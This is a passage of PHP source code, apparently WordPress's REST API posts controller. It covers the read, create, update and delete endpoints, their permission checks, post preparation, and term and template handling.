> $page ) { $next_page = $page + 1; $next_link = add_query_arg( 'page', $next_page, $base ); $response->link_header( 'next', $next_link ); } return $response; } /** * Gets the post, if the ID is valid. * * @since 4.7.2 * * @param int $id Supplied ID. * @return WP_Post|WP_Error Post object if ID is valid, WP_Error otherwise. */ protected function get_post( $id ) { $error = new WP_Error( 'rest_post_invalid_id', __( 'Invalid post ID.' ), array( 'status' => 404 ) ); if ( (int) $id <= 0 ) { return $error; } $post = get_post( (int) $id ); if ( empty( $post ) || empty( $post->ID ) || $this->post_type !== $post->post_type ) { return $error; } return $post; } /** * Checks if a given request has access to read a post. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return bool|WP_Error True if the request has read access for the item, WP_Error object or false otherwise. */ public function get_item_permissions_check( $request ) { $post = $this->get_post( $request['id'] ); if ( is_wp_error( $post ) ) { return $post; } if ( 'edit' === $request['context'] && $post && ! $this->check_update_permission( $post ) ) { return new WP_Error( 'rest_forbidden_context', __( 'Sorry, you are not allowed to edit this post.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( $post && ! empty( $request->get_query_params()['password'] ) ) { // Check post password, and return error if invalid. if ( ! hash_equals( $post->post_password, $request->get_query_params()['password'] ) ) { return new WP_Error( 'rest_post_incorrect_password', __( 'Incorrect post password.' ), array( 'status' => 403 ) ); } } // Allow access to all password protected posts if the context is edit. if ( 'edit' === $request['context'] ) { add_filter( 'post_password_required', array( $this, 'check_password_required' ), 10, 2 ); } if ( $post ) { return $this->check_read_permission( $post ); } return true; } /** * Checks if the user can access password-protected content. * * This method determines whether we need to override the regular password * check in core with a filter. * * @since 4.7.0 * * @param WP_Post $post Post to check against. * @param WP_REST_Request $request Request data to check. * @return bool True if the user can access password-protected content, otherwise false. */ public function can_access_password_content( $post, $request ) { if ( empty( $post->post_password ) ) { // No filter required. return false; } /* * Users always gets access to password protected content in the edit * context if they have the `edit_post` meta capability. */ if ( 'edit' === $request['context'] && current_user_can( 'edit_post', $post->ID ) ) { return true; } // No password, no auth. if ( empty( $request['password'] ) ) { return false; } // Double-check the request password. return hash_equals( $post->post_password, $request['password'] ); } /** * Retrieves a single post. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { $post = $this->get_post( $request['id'] ); if ( is_wp_error( $post ) ) { return $post; } $data = $this->prepare_item_for_response( $post, $request ); $response = rest_ensure_response( $data ); if ( is_post_type_viewable( get_post_type_object( $post->post_type ) ) ) { $response->link_header( 'alternate', get_permalink( $post->ID ), array( 'type' => 'text/html' ) ); } return $response; } /** * Checks if a given request has access to create a post. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to create items, WP_Error object otherwise. */ public function create_item_permissions_check( $request ) { if ( ! empty( $request['id'] ) ) { return new WP_Error( 'rest_post_exists', __( 'Cannot create existing post.' ), array( 'status' => 400 ) ); } $post_type = get_post_type_object( $this->post_type ); if ( ! empty( $request['author'] ) && get_current_user_id() !== $request['author'] && ! current_user_can( $post_type->cap->edit_others_posts ) ) { return new WP_Error( 'rest_cannot_edit_others', __( 'Sorry, you are not allowed to create posts as this user.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( ! empty( $request['sticky'] ) && ! current_user_can( $post_type->cap->edit_others_posts ) && ! current_user_can( $post_type->cap->publish_posts ) ) { return new WP_Error( 'rest_cannot_assign_sticky', __( 'Sorry, you are not allowed to make posts sticky.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( ! current_user_can( $post_type->cap->create_posts ) ) { return new WP_Error( 'rest_cannot_create', __( 'Sorry, you are not allowed to create posts as this user.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( ! $this->check_assign_terms_permission( $request ) ) { return new WP_Error( 'rest_cannot_assign_term', __( 'Sorry, you are not allowed to assign the provided terms.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Creates a single post. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function create_item( $request ) { if ( ! empty( $request['id'] ) ) { return new WP_Error( 'rest_post_exists', __( 'Cannot create existing post.' ), array( 'status' => 400 ) ); } $prepared_post = $this->prepare_item_for_database( $request ); if ( is_wp_error( $prepared_post ) ) { return $prepared_post; } $prepared_post->post_type = $this->post_type; if ( ! empty( $prepared_post->post_name ) && ! empty( $prepared_post->post_status ) && in_array( $prepared_post->post_status, array( 'draft', 'pending' ), true ) ) { /* * `wp_unique_post_slug()` returns the same slug for 'draft' or 'pending' posts. * * To ensure that a unique slug is generated, pass the post data with the 'publish' status. */ $prepared_post->post_name = wp_unique_post_slug( $prepared_post->post_name, $prepared_post->id, 'publish', $prepared_post->post_type, $prepared_post->post_parent ); } $post_id = wp_insert_post( wp_slash( (array) $prepared_post ), true, false ); if ( is_wp_error( $post_id ) ) { if ( 'db_insert_error' === $post_id->get_error_code() ) { $post_id->add_data( array( 'status' => 500 ) ); } else { $post_id->add_data( array( 'status' => 400 ) ); } return $post_id; } $post = get_post( $post_id ); /** * Fires after a single post is created or updated via the REST API. * * The dynamic portion of the hook name, `$this->post_type`, refers to the post type slug. * * Possible hook names include: * * - `rest_insert_post` * - `rest_insert_page` * - `rest_insert_attachment` * * @since 4.7.0 * * @param WP_Post $post Inserted or updated post object. * @param WP_REST_Request $request Request object. * @param bool $creating True when creating a post, false when updating. */ do_action( "rest_insert_{$this->post_type}", $post, $request, true ); $schema = $this->get_item_schema(); if ( ! empty( $schema['properties']['sticky'] ) ) { if ( ! empty( $request['sticky'] ) ) { stick_post( $post_id ); } else { unstick_post( $post_id ); } } if ( ! empty( $schema['properties']['featured_media'] ) && isset( $request['featured_media'] ) ) { $this->handle_featured_media( $request['featured_media'], $post_id ); } if ( ! empty( $schema['properties']['format'] ) && ! empty( $request['format'] ) ) { set_post_format( $post, $request['format'] ); } if ( ! empty( $schema['properties']['template'] ) && isset( $request['template'] ) ) { $this->handle_template( $request['template'], $post_id, true ); } $terms_update = $this->handle_terms( $post_id, $request ); if ( is_wp_error( $terms_update ) ) { return $terms_update; } if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) { $meta_update = $this->meta->update_value( $request['meta'], $post_id ); if ( is_wp_error( $meta_update ) ) { return $meta_update; } } $post = get_post( $post_id ); $fields_update = $this->update_additional_fields_for_object( $post, $request ); if ( is_wp_error( $fields_update ) ) { return $fields_update; } $request->set_param( 'context', 'edit' ); /** * Fires after a single post is completely created or updated via the REST API. * * The dynamic portion of the hook name, `$this->post_type`, refers to the post type slug. * * Possible hook names include: * * - `rest_after_insert_post` * - `rest_after_insert_page` * - `rest_after_insert_attachment` * * @since 5.0.0 * * @param WP_Post $post Inserted or updated post object. * @param WP_REST_Request $request Request object. * @param bool $creating True when creating a post, false when updating. */ do_action( "rest_after_insert_{$this->post_type}", $post, $request, true ); wp_after_insert_post( $post, false, null ); $response = $this->prepare_item_for_response( $post, $request ); $response = rest_ensure_response( $response ); $response->set_status( 201 ); $response->header( 'Location', rest_url( rest_get_route_for_post( $post ) ) ); return $response; } /** * Checks if a given request has access to update a post. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to update the item, WP_Error object otherwise. */ public function update_item_permissions_check( $request ) { $post = $this->get_post( $request['id'] ); if ( is_wp_error( $post ) ) { return $post; } $post_type = get_post_type_object( $this->post_type ); if ( $post && ! $this->check_update_permission( $post ) ) { return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to edit this post.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( ! empty( $request['author'] ) && get_current_user_id() !== $request['author'] && ! current_user_can( $post_type->cap->edit_others_posts ) ) { return new WP_Error( 'rest_cannot_edit_others', __( 'Sorry, you are not allowed to update posts as this user.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( ! empty( $request['sticky'] ) && ! current_user_can( $post_type->cap->edit_others_posts ) && ! current_user_can( $post_type->cap->publish_posts ) ) { return new WP_Error( 'rest_cannot_assign_sticky', __( 'Sorry, you are not allowed to make posts sticky.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( ! $this->check_assign_terms_permission( $request ) ) { return new WP_Error( 'rest_cannot_assign_term', __( 'Sorry, you are not allowed to assign the provided terms.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Updates a single post. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function update_item( $request ) { $valid_check = $this->get_post( $request['id'] ); if ( is_wp_error( $valid_check ) ) { return $valid_check; } $post_before = get_post( $request['id'] ); $post = $this->prepare_item_for_database( $request ); if ( is_wp_error( $post ) ) { return $post; } if ( ! empty( $post->post_status ) ) { $post_status = $post->post_status; } else { $post_status = $post_before->post_status; } /* * `wp_unique_post_slug()` returns the same slug for 'draft' or 'pending' posts. * * To ensure that a unique slug is generated, pass the post data with the 'publish' status. */ if ( ! empty( $post->post_name ) && in_array( $post_status, array( 'draft', 'pending' ), true ) ) { $post_parent = ! empty( $post->post_parent ) ? $post->post_parent : 0; $post->post_name = wp_unique_post_slug( $post->post_name, $post->ID, 'publish', $post->post_type, $post_parent ); } // Convert the post object to an array, otherwise wp_update_post() will expect non-escaped input. $post_id = wp_update_post( wp_slash( (array) $post ), true, false ); if ( is_wp_error( $post_id ) ) { if ( 'db_update_error' === $post_id->get_error_code() ) { $post_id->add_data( array( 'status' => 500 ) ); } else { $post_id->add_data( array( 'status' => 400 ) ); } return $post_id; } $post = get_post( $post_id ); /** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php */ do_action( "rest_insert_{$this->post_type}", $post, $request, false ); $schema = $this->get_item_schema(); if ( ! empty( $schema['properties']['format'] ) && ! empty( $request['format'] ) ) { set_post_format( $post, $request['format'] ); } if ( ! empty( $schema['properties']['featured_media'] ) && isset( $request['featured_media'] ) ) { $this->handle_featured_media( $request['featured_media'], $post_id ); } if ( ! empty( $schema['properties']['sticky'] ) && isset( $request['sticky'] ) ) { if ( ! empty( $request['sticky'] ) ) { stick_post( $post_id ); } else { unstick_post( $post_id ); } } if ( ! empty( $schema['properties']['template'] ) && isset( $request['template'] ) ) { $this->handle_template( $request['template'], $post->ID ); } $terms_update = $this->handle_terms( $post->ID, $request ); if ( is_wp_error( $terms_update ) ) { return $terms_update; } if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) { $meta_update = $this->meta->update_value( $request['meta'], $post->ID ); if ( is_wp_error( $meta_update ) ) { return $meta_update; } } $post = get_post( $post_id ); $fields_update = $this->update_additional_fields_for_object( $post, $request ); if ( is_wp_error( $fields_update ) ) { return $fields_update; } $request->set_param( 'context', 'edit' ); // Filter is fired in WP_REST_Attachments_Controller subclass. if ( 'attachment' === $this->post_type ) { $response = $this->prepare_item_for_response( $post, $request ); return rest_ensure_response( $response ); } /** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php */ do_action( "rest_after_insert_{$this->post_type}", $post, $request, false ); wp_after_insert_post( $post, true, $post_before ); $response = $this->prepare_item_for_response( $post, $request ); return rest_ensure_response( $response ); } /** * Checks if a given request has access to delete a post. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise. */ public function delete_item_permissions_check( $request ) { $post = $this->get_post( $request['id'] ); if ( is_wp_error( $post ) ) { return $post; } if ( $post && ! $this->check_delete_permission( $post ) ) { return new WP_Error( 'rest_cannot_delete', __( 'Sorry, you are not allowed to delete this post.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Deletes a single post. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function delete_item( $request ) { $post = $this->get_post( $request['id'] ); if ( is_wp_error( $post ) ) { return $post; } $id = $post->ID; $force = (bool) $request['force']; $supports_trash = ( EMPTY_TRASH_DAYS > 0 ); if ( 'attachment' === $post->post_type ) { $supports_trash = $supports_trash && MEDIA_TRASH; } /** * Filters whether a post is trashable. * * The dynamic portion of the hook name, `$this->post_type`, refers to the post type slug. * * Possible hook names include: * * - `rest_post_trashable` * - `rest_page_trashable` * - `rest_attachment_trashable` * * Pass false to disable Trash support for the post. * * @since 4.7.0 * * @param bool $supports_trash Whether the post type support trashing. * @param WP_Post $post The Post object being considered for trashing support. */ $supports_trash = apply_filters( "rest_{$this->post_type}_trashable", $supports_trash, $post ); if ( ! $this->check_delete_permission( $post ) ) { return new WP_Error( 'rest_user_cannot_delete_post', __( 'Sorry, you are not allowed to delete this post.' ), array( 'status' => rest_authorization_required_code() ) ); } $request->set_param( 'context', 'edit' ); // If we're forcing, then delete permanently. if ( $force ) { $previous = $this->prepare_item_for_response( $post, $request ); $result = wp_delete_post( $id, true ); $response = new WP_REST_Response(); $response->set_data( array( 'deleted' => true, 'previous' => $previous->get_data(), ) ); } else { // If we don't support trashing for this type, error out. if ( ! $supports_trash ) { return new WP_Error( 'rest_trash_not_supported', /* translators: %s: force=true */ sprintf( __( "The post does not support trashing. Set '%s' to delete." ), 'force=true' ), array( 'status' => 501 ) ); } // Otherwise, only trash if we haven't already. if ( 'trash' === $post->post_status ) { return new WP_Error( 'rest_already_trashed', __( 'The post has already been deleted.' ), array( 'status' => 410 ) ); } /* * (Note that internally this falls through to `wp_delete_post()` * if the Trash is disabled.) */ $result = wp_trash_post( $id ); $post = get_post( $id ); $response = $this->prepare_item_for_response( $post, $request ); } if ( ! $result ) { return new WP_Error( 'rest_cannot_delete', __( 'The post cannot be deleted.' ), array( 'status' => 500 ) ); } /** * Fires immediately after a single post is deleted or trashed via the REST API. * * They dynamic portion of the hook name, `$this->post_type`, refers to the post type slug. * * Possible hook names include: * * - `rest_delete_post` * - `rest_delete_page` * - `rest_delete_attachment` * * @since 4.7.0 * * @param WP_Post $post The deleted or trashed post. * @param WP_REST_Response $response The response data. * @param WP_REST_Request $request The request sent to the API. */ do_action( "rest_delete_{$this->post_type}", $post, $response, $request ); return $response; } /** * Determines the allowed query_vars for a get_items() response and prepares * them for WP_Query. * * @since 4.7.0 * * @param array $prepared_args Optional. Prepared WP_Query arguments. Default empty array. * @param WP_REST_Request $request Optional. Full details about the request. * @return array Items query arguments. */ protected function prepare_items_query( $prepared_args = array(), $request = null ) { $query_args = array(); if ( ! is_array( $prepared_args ) ) { $prepared_args = array(); } foreach ( $prepared_args as $key => $value ) { /** * Filters the query_vars used in get_items() for the constructed query. * * The dynamic portion of the hook name, `$key`, refers to the query_var key. * * @since 4.7.0 * * @param string $value The query_var value. */ $query_args[ $key ] = apply_filters( "rest_query_var-{$key}", $value ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores } if ( 'post' !== $this->post_type || ! isset( $query_args['ignore_sticky_posts'] ) ) { $query_args['ignore_sticky_posts'] = true; } // Map to proper WP_Query orderby param. if ( isset( $query_args['orderby'] ) && isset( $request['orderby'] ) ) { $orderby_mappings = array( 'id' => 'ID', 'include' => 'post__in', 'slug' => 'post_name', 'include_slugs' => 'post_name__in', ); if ( isset( $orderby_mappings[ $request['orderby'] ] ) ) { $query_args['orderby'] = $orderby_mappings[ $request['orderby'] ]; } } return $query_args; } /** * Checks the post_date_gmt or modified_gmt and prepare any post or * modified date for single post output. * * @since 4.7.0 * * @param string $date_gmt GMT publication time. * @param string|null $date Optional. Local publication time. Default null. * @return string|null ISO8601/RFC3339 formatted datetime. */ protected function prepare_date_response( $date_gmt, $date = null ) { // Use the date if passed. if ( isset( $date ) ) { return mysql_to_rfc3339( $date ); } // Return null if $date_gmt is empty/zeros. if ( '0000-00-00 00:00:00' === $date_gmt ) { return null; } // Return the formatted datetime. return mysql_to_rfc3339( $date_gmt ); } /** * Prepares a single post for create or update. * * @since 4.7.0 * * @param WP_REST_Request $request Request object. * @return stdClass|WP_Error Post object or WP_Error. */ protected function prepare_item_for_database( $request ) { $prepared_post = new stdClass(); $current_status = ''; // Post ID. if ( isset( $request['id'] ) ) { $existing_post = $this->get_post( $request['id'] ); if ( is_wp_error( $existing_post ) ) { return $existing_post; } $prepared_post->ID = $existing_post->ID; $current_status = $existing_post->post_status; } $schema = $this->get_item_schema(); // Post title. if ( ! empty( $schema['properties']['title'] ) && isset( $request['title'] ) ) { if ( is_string( $request['title'] ) ) { $prepared_post->post_title = $request['title']; } elseif ( ! empty( $request['title']['raw'] ) ) { $prepared_post->post_title = $request['title']['raw']; } } // Post content. if ( ! empty( $schema['properties']['content'] ) && isset( $request['content'] ) ) { if ( is_string( $request['content'] ) ) { $prepared_post->post_content = $request['content']; } elseif ( isset( $request['content']['raw'] ) ) { $prepared_post->post_content = $request['content']['raw']; } } // Post excerpt. if ( ! empty( $schema['properties']['excerpt'] ) && isset( $request['excerpt'] ) ) { if ( is_string( $request['excerpt'] ) ) { $prepared_post->post_excerpt = $request['excerpt']; } elseif ( isset( $request['excerpt']['raw'] ) ) { $prepared_post->post_excerpt = $request['excerpt']['raw']; } } // Post type. if ( empty( $request['id'] ) ) { // Creating new post, use default type for the controller. $prepared_post->post_type = $this->post_type; } else { // Updating a post, use previous type. $prepared_post->post_type = get_post_type( $request['id'] ); } $post_type = get_post_type_object( $prepared_post->post_type ); // Post status. if ( ! empty( $schema['properties']['status'] ) && isset( $request['status'] ) && ( ! $current_status || $current_status !== $request['status'] ) ) { $status = $this->handle_status_param( $request['status'], $post_type ); if ( is_wp_error( $status ) ) { return $status; } $prepared_post->post_status = $status; } // Post date. if ( ! empty( $schema['properties']['date'] ) && ! empty( $request['date'] ) ) { $current_date = isset( $prepared_post->ID ) ? get_post( $prepared_post->ID )->post_date : false; $date_data = rest_get_date_with_gmt( $request['date'] ); if ( ! empty( $date_data ) && $current_date !== $date_data[0] ) { list( $prepared_post->post_date, $prepared_post->post_date_gmt ) = $date_data; $prepared_post->edit_date = true; } } elseif ( ! empty( $schema['properties']['date_gmt'] ) && ! empty( $request['date_gmt'] ) ) { $current_date = isset( $prepared_post->ID ) ? get_post( $prepared_post->ID )->post_date_gmt : false; $date_data = rest_get_date_with_gmt( $request['date_gmt'], true ); if ( ! empty( $date_data ) && $current_date !== $date_data[1] ) { list( $prepared_post->post_date, $prepared_post->post_date_gmt ) = $date_data; $prepared_post->edit_date = true; } } /* * Sending a null date or date_gmt value resets date and date_gmt to their * default values (`0000-00-00 00:00:00`). */ if ( ( ! empty( $schema['properties']['date_gmt'] ) && $request->has_param( 'date_gmt' ) && null === $request['date_gmt'] ) || ( ! empty( $schema['properties']['date'] ) && $request->has_param( 'date' ) && null === $request['date'] ) ) { $prepared_post->post_date_gmt = null; $prepared_post->post_date = null; } // Post slug. if ( ! empty( $schema['properties']['slug'] ) && isset( $request['slug'] ) ) { $prepared_post->post_name = $request['slug']; } // Author. if ( ! empty( $schema['properties']['author'] ) && ! empty( $request['author'] ) ) { $post_author = (int) $request['author']; if ( get_current_user_id() !== $post_author ) { $user_obj = get_userdata( $post_author ); if ( ! $user_obj ) { return new WP_Error( 'rest_invalid_author', __( 'Invalid author ID.' ), array( 'status' => 400 ) ); } } $prepared_post->post_author = $post_author; } // Post password. if ( ! empty( $schema['properties']['password'] ) && isset( $request['password'] ) ) { $prepared_post->post_password = $request['password']; if ( '' !== $request['password'] ) { if ( ! empty( $schema['properties']['sticky'] ) && ! empty( $request['sticky'] ) ) { return new WP_Error( 'rest_invalid_field', __( 'A post can not be sticky and have a password.' ), array( 'status' => 400 ) ); } if ( ! empty( $prepared_post->ID ) && is_sticky( $prepared_post->ID ) ) { return new WP_Error( 'rest_invalid_field', __( 'A sticky post can not be password protected.' ), array( 'status' => 400 ) ); } } } if ( ! empty( $schema['properties']['sticky'] ) && ! empty( $request['sticky'] ) ) { if ( ! empty( $prepared_post->ID ) && post_password_required( $prepared_post->ID ) ) { return new WP_Error( 'rest_invalid_field', __( 'A password protected post can not be set to sticky.' ), array( 'status' => 400 ) ); } } // Parent. if ( ! empty( $schema['properties']['parent'] ) && isset( $request['parent'] ) ) { if ( 0 === (int) $request['parent'] ) { $prepared_post->post_parent = 0; } else { $parent = get_post( (int) $request['parent'] ); if ( empty( $parent ) ) { return new WP_Error( 'rest_post_invalid_id', __( 'Invalid post parent ID.' ), array( 'status' => 400 ) ); } $prepared_post->post_parent = (int) $parent->ID; } } // Menu order. if ( ! empty( $schema['properties']['menu_order'] ) && isset( $request['menu_order'] ) ) { $prepared_post->menu_order = (int) $request['menu_order']; } // Comment status. if ( ! empty( $schema['properties']['comment_status'] ) && ! empty( $request['comment_status'] ) ) { $prepared_post->comment_status = $request['comment_status']; } // Ping status. if ( ! empty( $schema['properties']['ping_status'] ) && ! empty( $request['ping_status'] ) ) { $prepared_post->ping_status = $request['ping_status']; } if ( ! empty( $schema['properties']['template'] ) ) { // Force template to null so that it can be handled exclusively by the REST controller. $prepared_post->page_template = null; } /** * Applies Block Hooks to content-like post types. * * Content-like post types are those that support the editor and would benefit * from Block Hooks functionality. This replaces the individual post type filters * that were previously hardcoded in default-filters.php. * * @since 7.0.0 */ $content_like_post_types = array( 'post', 'page', 'wp_block', 'wp_navigation' ); /** * Filters which post types should have Block Hooks applied. * * Allows themes and plugins to add or remove post types that should * have Block Hooks functionality enabled in the REST API. * * @since 7.0.0 * * @param string[] $content_like_post_types Array of post type names that support Block Hooks. * @param string $post_type The current post type being processed. * @param stdClass|WP_Post $prepared_post The prepared post object. */ $content_like_post_types = apply_filters( 'rest_block_hooks_post_types', $content_like_post_types, $this->post_type, $prepared_post ); if ( in_array( $this->post_type, $content_like_post_types, true ) ) { $prepared_post = update_ignored_hooked_blocks_postmeta( $prepared_post ); } /** * Filters a post before it is inserted via the REST API. * * The dynamic portion of the hook name, `$this->post_type`, refers to the post type slug. * * Possible hook names include: * * - `rest_pre_insert_post` * - `rest_pre_insert_page` * - `rest_pre_insert_attachment` * * @since 4.7.0 * * @param stdClass $prepared_post An object representing a single post prepared * for inserting or updating the database. * @param WP_REST_Request $request Request object. */ return apply_filters( "rest_pre_insert_{$this->post_type}", $prepared_post, $request ); } /** * Checks whether the status is valid for the given post. * * Allows for sending an update request with the current status, even if that status would not be acceptable. * * @since 5.6.0 * * @param string $status The provided status. * @param WP_REST_Request $request The request object. * @param string $param The parameter name. * @return true|WP_Error True if the status is valid, or WP_Error if not. */ public function check_status( $status, $request, $param ) { if ( $request['id'] ) { $post = $this->get_post( $request['id'] ); if ( ! is_wp_error( $post ) && $post->post_status === $status ) { return true; } } $args = $request->get_attributes()['args'][ $param ]; return rest_validate_value_from_schema( $status, $args, $param ); } /** * Determines validity and normalizes the given status parameter. * * @since 4.7.0 * * @param string $post_status Post status. * @param WP_Post_Type $post_type Post type. * @return string|WP_Error Post status or WP_Error if lacking the proper permission. */ protected function handle_status_param( $post_status, $post_type ) { switch ( $post_status ) { case 'draft': case 'pending': break; case 'private': if ( ! current_user_can( $post_type->cap->publish_posts ) ) { return new WP_Error( 'rest_cannot_publish', __( 'Sorry, you are not allowed to create private posts in this post type.' ), array( 'status' => rest_authorization_required_code() ) ); } break; case 'publish': case 'future': if ( ! current_user_can( $post_type->cap->publish_posts ) ) { return new WP_Error( 'rest_cannot_publish', __( 'Sorry, you are not allowed to publish posts in this post type.' ), array( 'status' => rest_authorization_required_code() ) ); } break; default: if ( ! get_post_status_object( $post_status ) ) { $post_status = 'draft'; } break; } return $post_status; } /** * Determines the featured media based on a request param. * * @since 4.7.0 * * @param int $featured_media Featured Media ID. * @param int $post_id Post ID. * @return bool|WP_Error Whether the post thumbnail was successfully deleted, otherwise WP_Error. */ protected function handle_featured_media( $featured_media, $post_id ) { $featured_media = (int) $featured_media; if ( $featured_media ) { $result = set_post_thumbnail( $post_id, $featured_media ); if ( $result ) { return true; } else { return new WP_Error( 'rest_invalid_featured_media', __( 'Invalid featured media ID.' ), array( 'status' => 400 ) ); } } else { return delete_post_thumbnail( $post_id ); } } /** * Checks whether the template is valid for the given post. * * @since 4.9.0 * * @param string $template Page template filename. * @param WP_REST_Request $request Request. * @return true|WP_Error True if template is still valid or if the same as existing value, or a WP_Error if template not supported. */ public function check_template( $template, $request ) { if ( ! $template ) { return true; } if ( $request['id'] ) { $post = get_post( $request['id'] ); $current_template = get_page_template_slug( $request['id'] ); } else { $post = null; $current_template = ''; } // Always allow for updating a post to the same template, even if that template is no longer supported. if ( $template === $current_template ) { return true; } // If this is a create request, get_post() will return null and wp theme will fallback to the passed post type. $allowed_templates = wp_get_theme()->get_page_templates( $post, $this->post_type ); if ( isset( $allowed_templates[ $template ] ) ) { return true; } return new WP_Error( 'rest_invalid_param', /* translators: 1: Parameter, 2: List of valid values. */ sprintf( __( '%1$s is not one of %2$s.' ), 'template', implode( ', ', array_keys( $allowed_templates ) ) ) ); } /** * Sets the template for a post. * * @since 4.7.0 * @since 4.9.0 Added the `$validate` parameter. * * @param string $template Page template filename. * @param int $post_id Post ID. * @param bool $validate Whether to validate that the template selected is valid. */ public function handle_template( $template, $post_id, $validate = false ) { if ( $validate && ! array_key_exists( $template, wp_get_theme()->get_page_templates( get_post( $post_id ) ) ) ) { $template = ''; } update_post_meta( $post_id, '_wp_page_template', $template ); } /** * Updates the post's terms from a REST request. * * @since 4.7.0 * * @param int $post_id The post ID to update the terms form. * @param WP_REST_Request $request The request object with post and terms data. * @return null|WP_Error WP_Error on an error assigning any of the terms, otherwise null. */ protected function handle_terms( $post_id, $request ) { $taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) ); foreach ( $taxonomies as $taxonomy ) { $base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name; if ( ! isset( $request[ $base ] ) ) { continue; } $result = wp_set_object_terms( $post_id, $request[ $base ], $taxonomy->name ); if ( is_wp_error( $result ) ) { return $result; } } return null; } /** * Checks whether current user can assign all terms sent with the current request. * * @since 4.7.0 * * @param WP_REST_Request $request The request object with post and terms data. * @return bool Whether the current user can assign the provided terms. */ protected function check_assign_terms_permission( $request ) { $taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) ); foreach ( $taxonomies as $taxonomy ) { $base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name; if ( ! isset( $request[ $base ] ) ) { continue; } foreach ( (array) $request[ $base ] as $term_id ) { // Invalid terms will be rejected later. if ( ! get_term( $term_id, $taxonomy->name ) ) { continue; } if ( ! current_user_can( 'assign_term', (int) $term_id ) ) { return false; } } } return true; } /** * Checks if a given post type can be viewed or managed. * * @since 4.7.0 * * @param WP_Post_Type|string $post_type Post type name or object. * @return bool Whether the post type is allowed in REST. */ protected function check_is_post_type_allowed( $post_type ) { if ( ! is_object( $post_type ) ) { $post_type = get_post_type_object( $post_type ); } if ( ! empty( $post_type ) && ! empty( $post_type->show_in_rest ) ) { return true; } return false; } /** * Checks if a post can be read. * * Correctly handles posts with the inherit status. * * @since 4.7.0 * * @param WP_Post $post Post object. * @return bool Whether the post can be read. */ public function check_read_permission( $post ) { $post_type = get_post_type_object( $post->post_type ); if ( ! $this->check_is_post_type_allowed( $post_type ) ) { return false; } // Is the post readable? if ( 'publish' === $post->post_status || current_user_can( 'read_post', $post->ID ) ) { return true; } $post_status_obj = get_post_status_object( $post->post_status ); if ( $post_status_obj && $post_status_obj->public ) { return true; } // Can we read the parent if we're inheriting? if ( 'inherit' === $post->post_status && $post->post_parent > 0 ) { $parent = get_post( $post->post_parent ); if ( $parent ) { return $this->check_read_permission( $parent ); } } /* * If there isn't a parent, but the status is set to inherit, assume * it's published (as per get_post_status()). */ if ( 'inherit' === $post->post_status ) { return true; } return false; } /** * Checks if a post can be edited. * * @since 4.7.0 * * @param WP_Post $post Post object. * @return bool Whether the post can be edited. */ protected function check_update_permission( $post ) { $post_type = get_post_type_object( $post->post_type ); if ( ! $this->check_is_post_type_allowed( $post_type ) ) { return false; } return current_user_can( 'edit_post', $post->ID ); } /** * Checks if a post can be created. * * @since 4.7.0 * * @param WP_Post $post Post object. * @return bool Whether the post can be created. */ protected function check_create_permission( $post ) { $post_type = get_post_type_object( $post->post_type ); if ( ! $this->check_is_post_type_allowed( $post_type ) ) { return false; } return current_user_can( $post_type->cap->create_posts ); } /** * Checks if a post can be deleted. * * @since 4.7.0 * * @param WP_Post $post Post object. * @return bool Whether the post can be deleted. */ protected function check_delete_permission( $post ) { $post_type = get_post_type_object( $post->post_type ); if ( ! $this->check_is_post_type_allowed( $post_type ) ) { return false; } return current_user_can( 'delete_post', $post->ID ); } /** * Prepares a single post output for response. * * @since 4.7.0 * @since 5.9.0 Renamed `$post` to `$item` to match parent class for PHP 8 named parameter support. * * @global WP_Post $post Global post object. * * @param WP_Post $item Post object. * @param WP_REST_Request $request Request object. * @return WP_REST_Response Response object. */ public function prepare_item_for_response( $item, $request ) { // Restores the more descriptive, specific name for use within this method. $post = $item; $GLOBALS['post'] = $post; setup_postdata( $post ); // Don't prepare the response body for HEAD requests. if ( $request->is_method( 'HEAD' ) ) { /** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php */ return apply_filters( "rest_prepare_{$this->post_type}", new WP_REST_Response( array() ), $post, $request ); } $fields = $this->get_fields_for_response( $request ); // Base fields for every post. $data = array(); if ( rest_is_field_included( 'id', $fields ) ) { $data['id'] = $post->ID; } if ( rest_is_field_included( 'date', $fields ) ) { $data['date'] = $this->prepare_date_response( $post->post_date_gmt, $post->post_date ); } if ( rest_is_field_included( 'date_gmt', $fields ) ) { /* * For drafts, `post_date_gmt` may not be set, indicating that the date * of the draft should be updated each 